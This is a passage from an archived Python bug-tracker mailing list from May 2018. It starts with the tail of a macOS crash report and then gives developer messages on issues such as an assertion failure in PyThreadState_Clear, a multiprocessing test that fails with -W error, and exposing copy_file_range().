libsystem_configuration.dylib (963.50.8) /usr/lib/system/libsystem_configuration.dylib 0x101624000 - 0x101627ffb libsystem_coreservices.dylib (51) <486000D3-D8CB-3BE7-8EE5-8BF380DE6DF7> /usr/lib/system/libsystem_coreservices.dylib 0x10162d000 - 0x10162efff libsystem_darwin.dylib (1244.50.9) <09C21A4A-9EE0-388B-A9D9-DFF8F6758791> /usr/lib/system/libsystem_darwin.dylib 0x101634000 - 0x10163aff7 libsystem_dnssd.dylib (878.50.17) <9033B909-BCF7-37EB-A040-ADE8081611D6> /usr/lib/system/libsystem_dnssd.dylib 0x101641000 - 0x10168aff7 libsystem_info.dylib (517.30.1) /usr/lib/system/libsystem_info.dylib 0x1016a2000 - 0x1016edfcb libsystem_m.dylib (3147.50.1) /usr/lib/system/libsystem_m.dylib 0x1016fc000 - 0x10171bfff libsystem_malloc.dylib (140.50.6) <7FD43735-9DDD-300E-8C4A-F909A74BDF49> /usr/lib/system/libsystem_malloc.dylib 0x101728000 - 0x101858ff3 libsystem_network.dylib (1229.51.2) /usr/lib/system/libsystem_network.dylib 0x101899000 - 0x1018a3ffb libsystem_networkextension.dylib (767.50.25) <758F1414-796D-3422-83C9-92D2915A06CE> /usr/lib/system/libsystem_networkextension.dylib 0x1018b0000 - 0x1018b9ff3 libsystem_notify.dylib (172) <08012EC0-2CD2-34BE-BF93-E7F56491299A> /usr/lib/system/libsystem_notify.dylib 0x1018c1000 - 0x1018c4fff libsystem_sandbox.dylib (765.50.51) /usr/lib/system/libsystem_sandbox.dylib 0x1018cb000 - 0x1018ccff3 libsystem_secinit.dylib (30) /usr/lib/system/libsystem_secinit.dylib 0x1018d2000 - 0x1018f8ff7 libsystem_kernel.dylib (4570.51.2) <7FF1E390-2FAC-33A7-A545-60D9BB6692D4> /usr/lib/system/libsystem_kernel.dylib 0x101912000 - 0x101919ff7 libsystem_platform.dylib (161.50.1) <6355EE2D-5456-3CA8-A227-B96E8F1E2AF8> /usr/lib/system/libsystem_platform.dylib 0x101922000 - 0x10192dfff libsystem_pthread.dylib (301.50.1) <0E51CCBA-91F2-34E1-BF2A-FEEFD3D321E4> /usr/lib/system/libsystem_pthread.dylib 0x10193a000 - 0x101941ff7 libsystem_symptoms.dylib (820.50.37) /usr/lib/system/libsystem_symptoms.dylib 0x101948000 - 0x10195bfff libsystem_trace.dylib (829.50.17) <6568D68B-1D4C-38EE-90A9-54821D6403C0> /usr/lib/system/libsystem_trace.dylib 0x10196a000 - 0x10196fff7 libunwind.dylib (35.3) /usr/lib/system/libunwind.dylib 0x101977000 - 0x1019a4fff libxpc.dylib (1205.50.76) <25DB244E-217D-3CE0-A8F2-0C4255783B42> /usr/lib/system/libxpc.dylib 0x1019c7000 - 0x1019faff7 libclosured.dylib (551.3) /usr/lib/closure/libclosured.dylib 0x101a16000 - 0x101a3aff7 libc++abi.dylib (400.8.2) /usr/lib/libc++abi.dylib 0x101a4a000 - 0x101aa0fff libc++.1.dylib (400.9) <7D3DACCC-3804-393C-ABC1-1A580FD00CB6> /usr/lib/libc++.1.dylib 0x7fff61e04000 - 0x7fff61e4e9df dyld (551.3) /usr/lib/dyld External Modification Summary: Calls made by other processes targeting this process: task_for_pid: 0 thread_create: 0 thread_set_state: 0 Calls made by this process: task_for_pid: 0 thread_create: 0 thread_set_state: 0 Calls made by all processes on this machine: task_for_pid: 950 thread_create: 0 thread_set_state: 0 VM Region Summary: ReadOnly portion of Libraries: Total=22.8M resident=0K(0%) swapped_out_or_unallocated=22.8M(100%) Writable regions: Total=26.4M written=0K(0%) resident=0K(0%) swapped_out=0K(0%) unallocated=26.4M(100%) VIRTUAL REGION REGION TYPE SIZE COUNT (non-coalesced) =========== ======= ======= Kernel Alloc Once 8K 2 MALLOC 9.9M 9 MALLOC guard page 16K 5 __DATA 4332K 61 __LINKEDIT 4716K 47 __TEXT 18.2M 47 __UNICODE 560K 2 __UNIXSTACK 16.0M 2 shared memory 8K 3 =========== ======= ======= TOTAL 53.6M 169 ---------- components: macOS messages: 317361 nosy: ned.deily, ronaldoussoren, sm priority: normal severity: normal status: open title: Fatal Python error: Py_Initialize: unable to load the file system codec type: crash versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 03:13:16 2018 From: report at bugs.python.org (Alexander Mohr) Date: Wed, 23 May 2018 07:13:16 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527059596.18.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: INADA Naoki: Unfortunately you'll need to use credentials from a free AWS account: https://aws.amazon.com/free/. Then create a credentials file in ~/.aws/credentials: https://docs.aws.amazon.com/cli/latest/userguide/cli-config-files.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 03:17:40 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 07:17:40 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear Message-ID: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : I got the following output when run tests in the huntrleaks mode. $ ./python -We -m test -R 3:3 -x test_builtin -x test_urlparse ... 1:24:54 load avg: 2.48 [225/414] test_multiprocessing_fork beginning 6 repetitions 123456 ..python: Python/pystate.c:589: PyThreadState_Clear: Assertion `tstate->exc_info->previous_item == NULL' failed. Fatal Python error: Aborted Current thread 0x00007fdd3e07e700 (most recent call first): File "/home/serhiy/py/cpython/Lib/multiprocessing/popen_fork.py", line 70 in _launch File "/home/serhiy/py/cpython/Lib/multiprocessing/popen_fork.py", line 20 in __init__ File "/home/serhiy/py/cpython/Lib/multiprocessing/context.py", line 277 in _Popen File "/home/serhiy/py/cpython/Lib/multiprocessing/process.py", line 112 in start File "/home/serhiy/py/cpython/Lib/multiprocessing/pool.py", line 241 in _repopulate_pool File "/home/serhiy/py/cpython/Lib/multiprocessing/pool.py", line 248 in _maintain_pool File "/home/serhiy/py/cpython/Lib/multiprocessing/pool.py", line 412 in _handle_workers File "/home/serhiy/py/cpython/Lib/threading.py", line 865 in run File "/home/serhiy/py/cpython/Lib/threading.py", line 917 in _bootstrap_inner File "/home/serhiy/py/cpython/Lib/threading.py", line 885 in _bootstrap ..python: Python/pystate.c:589: PyThreadState_Clear: Assertion `tstate->exc_info->previous_item == NULL' failed. Fatal Python error: Aborted Current thread 0x00007fdd6cb6c700 (most recent call first): File "/home/serhiy/py/cpython/Lib/multiprocessing/popen_fork.py", line 70 in _launch File "/home/serhiy/py/cpython/Lib/multiprocessing/popen_fork.py", line 20 in __init__ File "/home/serhiy/py/cpython/Lib/multiprocessing/context.py", line 277 in _Popen File "/home/serhiy/py/cpython/Lib/multiprocessing/process.py", line 112 in start File "/home/serhiy/py/cpython/Lib/multiprocessing/pool.py", line 241 in _repopulate_pool File "/home/serhiy/py/cpython/Lib/multiprocessing/pool.py", line 248 in _maintain_pool File "/home/serhiy/py/cpython/Lib/multiprocessing/pool.py", line 412 in _handle_workers File "/home/serhiy/py/cpython/Lib/threading.py", line 865 in run File "/home/serhiy/py/cpython/Lib/threading.py", line 917 in _bootstrap_inner File "/home/serhiy/py/cpython/Lib/threading.py", line 885 in _bootstrap .. 1:34:07 load avg: 1.01 [226/414] test_multiprocessing_forkserver -- test_multiprocessing_fork passed in 9 min 13 sec ... It happens after 1.5 hours of running tests. Running the test_multiprocessing_fork test only doesn't expose it. Likely there are already opened related issues, but the assertion failure in PyThreadState_Clear is new, it was added in 3.7. It may help to identify the problem. ---------- messages: 317363 nosy: Mark.Shannon, davin, pitrou, serhiy.storchaka priority: normal severity: normal status: open title: Assertion failure in PyThreadState_Clear type: crash versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 03:20:10 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 07:20:10 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527060010.04.0.682650639539.issue33612@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 03:45:36 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 23 May 2018 07:45:36 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527061536.07.0.682650639539.issue33610@psf.upfronthosting.co.za> Terry J. Reedy added the comment: 11. Use read-only Text instead of Label for context. Text.index(f'@{e.x},{e.y}', where e is event, converts mouse click to line number. That can be mapped to text line number for 8. above. Text also enables 12. If context box is too short for all lines, add scrollbar. 13. When horizontal scrollbars are added to editor, scroll context along with text scroll. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 04:37:30 2018 From: report at bugs.python.org (Matthias Gilch) Date: Wed, 23 May 2018 08:37:30 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1527064650.22.0.682650639539.issue19251@psf.upfronthosting.co.za> Change by Matthias Gilch : ---------- nosy: +MGilch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 04:48:57 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 23 May 2018 08:48:57 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527065337.76.0.682650639539.issue33612@psf.upfronthosting.co.za> Change by Antoine Pitrou : ---------- priority: normal -> critical _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 04:58:57 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Wed, 23 May 2018 08:58:57 +0000 Subject: [issue26826] Expose new copy_file_range() syscall in os module. In-Reply-To: <1461325239.41.0.30054024313.issue26826@psf.upfronthosting.co.za> Message-ID: <1527065937.91.0.682650639539.issue26826@psf.upfronthosting.co.za> Giampaolo Rodola' added the comment: This is a great addition. I have a working patch adding sendfile() support for shutil.copyfileobj() which speeds it up by a factor of 1.3x on Linux. According to this https://lists.kernelnewbies.org/pipermail/kernelnewbies/2016-March/015999.html copy_file_range() may result in even better performances (but we may still want to use sendfile() for other UNIXes where file->file copy is supported - not sure which ones at this point). As for the patch attached to this ticket, is there anything missing in order to push it forward? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 05:15:46 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 09:15:46 +0000 Subject: [issue33330] Better error handling in PyImport_Cleanup() In-Reply-To: <1524387390.7.0.682650639539.issue33330@psf.upfronthosting.co.za> Message-ID: <1527066946.97.0.682650639539.issue33330@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6696 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 05:33:49 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 09:33:49 +0000 Subject: [issue26826] Expose new copy_file_range() syscall in os module. In-Reply-To: <1461325239.41.0.30054024313.issue26826@psf.upfronthosting.co.za> Message-ID: <1527068029.67.0.682650639539.issue26826@psf.upfronthosting.co.za> STINNER Victor added the comment: > As for the patch attached to this ticket, is there anything missing in order to push it forward? IMHO the next step would be to create a pull request on GitHub. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 05:34:43 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 09:34:43 +0000 Subject: [issue33330] Better error handling in PyImport_Cleanup() In-Reply-To: <1524387390.7.0.682650639539.issue33330@psf.upfronthosting.co.za> Message-ID: <1527068083.42.0.682650639539.issue33330@psf.upfronthosting.co.za> STINNER Victor added the comment: I reopen the issue because I created the PR 7068 to propose further checks (in debug mode). ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 05:36:46 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 09:36:46 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527068206.6.0.682650639539.issue33612@psf.upfronthosting.co.za> STINNER Victor added the comment: The assertion has been added by bpo-25612: commit ae3087c6382011c47db82fea4d05f8bbf514265d Author: Mark Shannon Date: Sun Oct 22 22:41:51 2017 +0100 Move exc state to generator. Fixes bpo-25612 (#1773) Move exception state information from frame objects to coroutine (generator/thread) object where it belongs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 05:44:59 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 09:44:59 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527068699.45.0.682650639539.issue33612@psf.upfronthosting.co.za> STINNER Victor added the comment: Failing assertion: /* The stack of exception states should contain just this thread. */ assert(tstate->exc_info->previous_item == NULL); "test_multiprocessing_fork passed in 9 min 13 sec" Oh. A child process crashed on "self.pid = os.fork()" in "/Lib/multiprocessing/popen_fork.py", line 70 in _launch", but the test still pass. os.fork() calls PyOS_AfterFork_Child() which starts by calling _PyGILState_Reinit() which ends with "_PyThreadState_DeleteExcept(current_tstate);". _PyThreadState_DeleteExcept() creates a "garbage" list of thread states, and then call PyThreadState_Clear() on each thread. Finally, one call to PyThreadState_Clear() fails on the assertion. I'm not sure that the assertion takes in account the case of specific case of fork(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 05:48:05 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 23 May 2018 09:48:05 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527058885.03.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: <1527068885.84.0.682650639539.issue33611@psf.upfronthosting.co.za> INADA Naoki added the comment: It seems not a bug of Python. Maybe, your Python installation is broken, or you have wrong PYTHONPATH envvar. ---------- nosy: +inada.naoki _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 05:59:26 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 09:59:26 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527058885.03.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: <1527069566.26.0.682650639539.issue33611@psf.upfronthosting.co.za> STINNER Victor added the comment: > Maybe, your Python installation is broken, or you have wrong PYTHONPATH envvar. We should maybe dump sys.path into stderr on the specific "unable to load the file system codec" error. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:04:09 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:04:09 +0000 Subject: [issue33613] test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error Message-ID: <1527069849.43.0.682650639539.issue33613@psf.upfronthosting.co.za> New submission from STINNER Victor : test_semaphore_tracker_sigint() emits a warning. If the test is run with -W error, the test fails. vstinner at apu$ ./python -m test test_multiprocessing_fork -v -m test_semaphore_tracker_sigint (...) test_semaphore_tracker_sigint (test.test_multiprocessing_fork.TestSemaphoreTracker) ... /home/vstinner/prog/python/master/Lib/multiprocessing/semaphore_tracker.py:55: UserWarning: semaphore_tracker: process died unexpectedly, relaunching. Some semaphores might leak. warnings.warn('semaphore_tracker: process died unexpectedly, ' ok (...) Tests result: SUCCESS vstinner at apu$ ./python -Werror -m test test_multiprocessing_fork -v -m test_semaphore_tracker_sigint (...) ====================================================================== ERROR: test_semaphore_tracker_sigint (test.test_multiprocessing_fork.TestSemaphoreTracker) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/vstinner/prog/python/master/Lib/test/_test_multiprocessing.py", line 4533, in test_semaphore_tracker_sigint self.check_semaphore_tracker_death(signal.SIGINT, False) File "/home/vstinner/prog/python/master/Lib/test/_test_multiprocessing.py", line 4521, in check_semaphore_tracker_death sem = ctx.Semaphore() File "/home/vstinner/prog/python/master/Lib/multiprocessing/context.py", line 82, in Semaphore return Semaphore(value, ctx=self.get_context()) File "/home/vstinner/prog/python/master/Lib/multiprocessing/synchronize.py", line 127, in __init__ SemLock.__init__(self, SEMAPHORE, value, SEM_VALUE_MAX, ctx=ctx) File "/home/vstinner/prog/python/master/Lib/multiprocessing/synchronize.py", line 81, in __init__ register(self._semlock.name) File "/home/vstinner/prog/python/master/Lib/multiprocessing/semaphore_tracker.py", line 83, in register self._send('REGISTER', name) File "/home/vstinner/prog/python/master/Lib/multiprocessing/semaphore_tracker.py", line 90, in _send self.ensure_running() File "/home/vstinner/prog/python/master/Lib/multiprocessing/semaphore_tracker.py", line 55, in ensure_running warnings.warn('semaphore_tracker: process died unexpectedly, ' UserWarning: semaphore_tracker: process died unexpectedly, relaunching. Some semaphores might leak. (...) Tests result: FAILURE ---------- components: Tests messages: 317372 nosy: davin, pitrou, vstinner priority: normal severity: normal status: open title: test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:04:39 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:04:39 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527069879.54.0.682650639539.issue33612@psf.upfronthosting.co.za> STINNER Victor added the comment: I created bpo-33613: "test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error". I don't think that it's directly related. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:08:05 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:08:05 +0000 Subject: [issue33613] test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error In-Reply-To: <1527069849.43.0.682650639539.issue33613@psf.upfronthosting.co.za> Message-ID: <1527070085.96.0.682650639539.issue33613@psf.upfronthosting.co.za> STINNER Victor added the comment: Note: I found this bug while working on bpo-33612. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:14:25 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:14:25 +0000 Subject: [issue33613] test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error In-Reply-To: <1527069849.43.0.682650639539.issue33613@psf.upfronthosting.co.za> Message-ID: <1527070465.1.0.682650639539.issue33613@psf.upfronthosting.co.za> STINNER Victor added the comment: Attached bug.py reproduces the bug with a daemonic thread but without fork(): $ ./python bug.py ls coredpython: Python/pystate.c:589: PyThreadState_Clear: Assertion `tstate->exc_info->previous_item == NULL' failed. Aborted (core dumped) (You might have to run the script a few times to get the crash, it's not deterministic.) ---------- Added file: https://bugs.python.org/file47611/bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:17:14 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:17:14 +0000 Subject: [issue33613] test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error In-Reply-To: <1527069849.43.0.682650639539.issue33613@psf.upfronthosting.co.za> Message-ID: <1527070633.99.0.682650639539.issue33613@psf.upfronthosting.co.za> STINNER Victor added the comment: Using bug.py, the assertion fails at: python: Python/pystate.c:589: PyThreadState_Clear: Assertion `tstate->exc_info->previous_item == NULL' failed. Aborted (core dumped) (...) vstinner at apu$ gdb ./python -c coredump-python.24130 GNU gdb (GDB) Fedora 8.0.1-36.fc27 (..) Core was generated by `./python bug.py'. Program terminated with signal SIGABRT, Aborted. #0 0x00007f5136075660 in raise () from /lib64/libc.so.6 [Current thread is 1 (Thread 0x7f5136f64040 (LWP 24130))] (gdb) where #0 0x00007f5136075660 in raise () from /lib64/libc.so.6 #1 0x00007f5136076c41 in abort () from /lib64/libc.so.6 #2 0x00007f513606df7a in __assert_fail_base () from /lib64/libc.so.6 #3 0x00007f513606dff2 in __assert_fail () from /lib64/libc.so.6 #4 0x0000000000591dde in PyThreadState_Clear (tstate=0x1b7a430) at Python/pystate.c:589 #5 0x0000000000590274 in PyInterpreterState_Clear (interp=0x1b23930) at Python/pystate.c:204 #6 0x000000000058cf4c in Py_FinalizeEx () at Python/pylifecycle.c:1153 #7 0x00000000004257af in pymain_main (pymain=0x7ffe5f82f200) at Modules/main.c:2664 #8 0x0000000000425915 in _Py_UnixMain (argc=2, argv=0x7ffe5f82f448) at Modules/main.c:2697 #9 0x000000000041f1e7 in main (argc=2, argv=0x7ffe5f82f448) at ./Programs/python.c:15 (gdb) info threads Id Target Id Frame 1 Thread 0x7f5136f64040 (LWP 24130) 0x00007f5136075660 in raise () from /lib64/libc.so.6 * 2 Thread 0x7f512e8c6700 (LWP 24138) 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 3 Thread 0x7f512e0c5700 (LWP 24139) 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 4 Thread 0x7f512d8c4700 (LWP 24147) 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 5 Thread 0x7f512f0c7700 (LWP 24137) 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 (gdb) t 2 [Switching to thread 2 (Thread 0x7f512e8c6700 (LWP 24138))] #0 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 (gdb) where #0 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 #1 0x000000000053458a in PyCOND_TIMEDWAIT (cond=0xa07248 <_PyRuntime+1224>, mut=0xa07278 <_PyRuntime+1272>, us=5000) at Python/condvar.h:90 #2 0x00000000005349a3 in take_gil (tstate=0x1b87980) at Python/ceval_gil.h:208 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:18:24 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:18:24 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527070704.75.0.682650639539.issue33612@psf.upfronthosting.co.za> STINNER Victor added the comment: Attached bug.py reproduces the bug with a daemonic thread but without fork(): $ ./python bug.py ls coredpython: Python/pystate.c:589: PyThreadState_Clear: Assertion `tstate->exc_info->previous_item == NULL' failed. Aborted (core dumped) (You might have to run the script a few times to get the crash, it's not deterministic.) vstinner at apu$ gdb ./python -c coredump-python.24130 GNU gdb (GDB) Fedora 8.0.1-36.fc27 (..) Core was generated by `./python bug.py'. Program terminated with signal SIGABRT, Aborted. #0 0x00007f5136075660 in raise () from /lib64/libc.so.6 [Current thread is 1 (Thread 0x7f5136f64040 (LWP 24130))] (gdb) where #0 0x00007f5136075660 in raise () from /lib64/libc.so.6 #1 0x00007f5136076c41 in abort () from /lib64/libc.so.6 #2 0x00007f513606df7a in __assert_fail_base () from /lib64/libc.so.6 #3 0x00007f513606dff2 in __assert_fail () from /lib64/libc.so.6 #4 0x0000000000591dde in PyThreadState_Clear (tstate=0x1b7a430) at Python/pystate.c:589 #5 0x0000000000590274 in PyInterpreterState_Clear (interp=0x1b23930) at Python/pystate.c:204 #6 0x000000000058cf4c in Py_FinalizeEx () at Python/pylifecycle.c:1153 #7 0x00000000004257af in pymain_main (pymain=0x7ffe5f82f200) at Modules/main.c:2664 #8 0x0000000000425915 in _Py_UnixMain (argc=2, argv=0x7ffe5f82f448) at Modules/main.c:2697 #9 0x000000000041f1e7 in main (argc=2, argv=0x7ffe5f82f448) at ./Programs/python.c:15 (gdb) info threads Id Target Id Frame 1 Thread 0x7f5136f64040 (LWP 24130) 0x00007f5136075660 in raise () from /lib64/libc.so.6 * 2 Thread 0x7f512e8c6700 (LWP 24138) 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 3 Thread 0x7f512e0c5700 (LWP 24139) 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 4 Thread 0x7f512d8c4700 (LWP 24147) 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 5 Thread 0x7f512f0c7700 (LWP 24137) 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 (gdb) t 2 [Switching to thread 2 (Thread 0x7f512e8c6700 (LWP 24138))] #0 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 (gdb) where #0 0x00007f5136b56be6 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 #1 0x000000000053458a in PyCOND_TIMEDWAIT (cond=0xa07248 <_PyRuntime+1224>, mut=0xa07278 <_PyRuntime+1272>, us=5000) at Python/condvar.h:90 #2 0x00000000005349a3 in take_gil (tstate=0x1b87980) at Python/ceval_gil.h:208 ---------- Added file: https://bugs.python.org/file47612/bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:18:35 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:18:35 +0000 Subject: [issue33613] test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error In-Reply-To: <1527069849.43.0.682650639539.issue33613@psf.upfronthosting.co.za> Message-ID: <1527070715.11.0.682650639539.issue33613@psf.upfronthosting.co.za> Change by STINNER Victor : Removed file: https://bugs.python.org/file47611/bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:18:49 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:18:49 +0000 Subject: [issue33613] test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error In-Reply-To: <1527069849.43.0.682650639539.issue33613@psf.upfronthosting.co.za> Message-ID: <1527070729.36.0.682650639539.issue33613@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- Removed message: https://bugs.python.org/msg317376 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:18:51 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:18:51 +0000 Subject: [issue33613] test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error In-Reply-To: <1527069849.43.0.682650639539.issue33613@psf.upfronthosting.co.za> Message-ID: <1527070731.66.0.682650639539.issue33613@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- Removed message: https://bugs.python.org/msg317375 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:19:20 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:19:20 +0000 Subject: [issue33613] test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error In-Reply-To: <1527069849.43.0.682650639539.issue33613@psf.upfronthosting.co.za> Message-ID: <1527070760.38.0.682650639539.issue33613@psf.upfronthosting.co.za> STINNER Victor added the comment: (Oops, I attached a file and added two comments to this issue, whereas I wanted to comment bpo-33612.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:26:42 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:26:42 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527071202.7.0.682650639539.issue33612@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +6697 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:26:42 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:26:42 +0000 Subject: [issue25612] nested try..excepts don't work correctly for generators In-Reply-To: <1447361959.0.0.839122121456.issue25612@psf.upfronthosting.co.za> Message-ID: <1527071202.81.0.0935424498089.issue25612@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6698 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:30:09 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:30:09 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527071409.32.0.682650639539.issue33612@psf.upfronthosting.co.za> STINNER Victor added the comment: I created PR 7069 to remove the assertion. With this change, attached bug.py doesn't crash anymore, but it still logs warnings in verbose mode: vstinner at apu$ ./python -v bug.py (...) PyThreadState_Clear: warning: thread still has a frame PyThreadState_Clear: warning: thread still has a frame PyThreadState_Clear: warning: thread still has a generator PyThreadState_Clear: warning: thread still has a frame PyThreadState_Clear: warning: thread still has a generator PyThreadState_Clear: warning: thread still has a frame The root issue is that Python doesn't join deamonic threads. But it's by design no? I hate daemonic threads :-) For the specific case of a fork(), it can be possible that a thread calls os.fork() while another thread is running a generator, no? -- Since this issue seems to be a regression and I have a PR fixing it, I propose to mark this issue as a release blocker. Sorry Ned :-( ---------- nosy: +ned.deily priority: critical -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:32:18 2018 From: report at bugs.python.org (Serhiy Storchaka) 